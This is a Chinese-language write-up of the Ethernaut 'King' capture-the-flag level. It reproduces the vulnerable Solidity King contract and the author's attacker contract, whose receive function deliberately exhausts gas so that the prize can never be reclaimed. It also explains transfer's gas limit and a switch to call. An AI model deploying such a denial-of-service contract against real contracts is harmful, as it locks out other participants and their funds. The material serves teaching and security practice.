Ethernaut - King
这个游戏的Key!
题目:一个简单的游戏,谁发送更多的ether谁就变成新的king!在这样的活动中,被推翻的国王会得到新的奖励,在这个过程中赚一点以太币!就像庞氏骗局一样 xD。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
// 初始owner和king,以及初始的prize
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
// 可以收钱
receive() external payable {
require(msg.value >= prize || msg.sender == owner); // 如果发的钱更多,成为新的king!
payable(king).transfer(msg.value); // king收到转过来的钱
king = msg.sender; // 更新king和prize
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
当我提交评测的时候,他会回收king,也就是转入更多的钱把自己变回king?
我要做的并不是变成king,而是让他无法回收king。
!我想到个方法,如果能让我称王后,所有后续receive都无法执行都会revert就行。但是好像做不到)
查到了!
transfer 有一个内置的安全机制,它将转账金额限制为 2300 gas。这个限制确保了接收方合约在执行转账时不会进行复杂的操作,防止某些合约被恶意攻击,或者耗尽大量 gas 导致重入攻击漏洞。
噢噢,就是transfer的接收方收到钱后,执行 receive 函数,不能消耗超过2300的gas。
所以我写一个复杂的合约,让他称王!别人都改不了了!
Transfer的安全机制
transfer 有一个内置的安全机制,它将转账金额限制为 2300 gas。这个限制确保了接收方合约在执行转账时不会进行复杂的操作,防止某些合约被恶意攻击,或者耗尽大量 gas 导致重入攻击漏洞。
解题
我写了个函数:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract AttackKing {
bool public flag;
address payable public owner;
constructor() {
flag = false;
owner = payable(msg.sender);
}
function withdraw() external payable {
owner.transfer(getBalance());
}
receive() external payable {
if (flag) {
// 写一个会消耗大量gas的函数
uint256 sum = 0;
for (uint i = 0; i < 100000000; i++) {
sum = sum + uint(i);
}
}
}
function setFlat(bool _flag) public {
flag = _flag;
}
function beKing(address payable target) external payable {
target.transfer(getBalance());
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
但是这个 beKing 有问题!2300gas其实是个非常小的数字,King合约的receive也超过了这个限制!所以不能使用Transfer,但是可以用 call 来代替 Transfer。
所以改成:
function beKing(address payable target) external payable {
(bool success, ) = target.call{value: address(this).balance}(""); // 使用 call 替代 transfer
require(success, "Transfer failed");
}
总结
Transfer转账有很强的gas限制,通常只用来给一个普通账户转账。
可以用 call 进行超过限制的转账!
(bool success, ) = target.call{value: address(this).balance}(""); // 使用 call 替代 transfer
require(success, "Transfer failed");
Most of Ethernaut’s levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.
In this case, see: King of the Ether and King of the Ether Postmortem.